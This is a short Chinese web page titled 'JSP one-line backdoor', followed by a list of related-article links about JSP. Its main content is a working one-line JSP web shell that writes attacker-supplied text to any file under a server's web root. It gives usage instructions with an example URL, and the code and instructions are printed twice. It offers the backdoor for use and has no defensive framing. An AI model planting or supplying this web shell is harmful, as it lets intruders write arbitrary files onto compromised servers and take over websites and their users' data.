JSP一句话后门
更新时间：2007年02月09日 00:00:00 作者：
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld
相关文章
JSP中的PreparedStatement对象操作数据库的使用教程
这篇文章主要介绍了JSP中的PreparedStatement对象操作数据库的使用教程,文中举了一些使用PreparedStatement预处理语句对象进行MySQL增删查改的例子,需要的朋友可以参考下2016-04-04
这篇文章主要介绍了JSP程序运行原理、文档结构及简单输入输出,以完整实例形式较为详细的分析了JSP程序的运行原理、文档结构及简单输入输出详细技巧,具有一定参考借鉴价值,需要的朋友可以参考下2015-09-09
Jsp中解决session过期跳转到登陆页面并跳出iframe框架的方法
这里我们是介绍一个网站管理后台三个框架页面当我们的jsp定义的session变量超时时用户点击时自动退出框架页面并跳到登录页面去了，下面我来给大家演示一个实例2013-08-08
这篇文章主要介绍了jsp-解决文件上传后重启Tomcat时文件自动删除问题,包括问题分析和具体解决办法，还是很不错的，需要的朋友可以参考下。2017-09-09
这篇文章主要介绍了jsp中获取当前目录的方法,实例分析了JSP获取当前路径的方法,并对相关目录操作函数进行了总结归纳,是非常实用的技巧,需要的朋友可以参考下2014-11-11
这篇文章主要介绍了Java之JSP教程九大内置对象详解(上篇)，本文章内容详细，通过案例可以更好的理解JSP内置对象的相关知识，本模块分为了三部分，本次为上篇，讲解了三个内容，需要的朋友可以参考下2023-01-01
java MD5加密完全代码2008-11-11
我认为JSP有问题(下)...2006-10-10
session的过期时间需要配置在tomcat中的web.xml中,时间以分钟计算,另最大时间好像是24小时,感兴趣的朋友可以了解下，希望本文对你学习session有所帮助2013-01-01
这篇文章主要介绍了JSP应用的安全问题2006-10-10
最新评论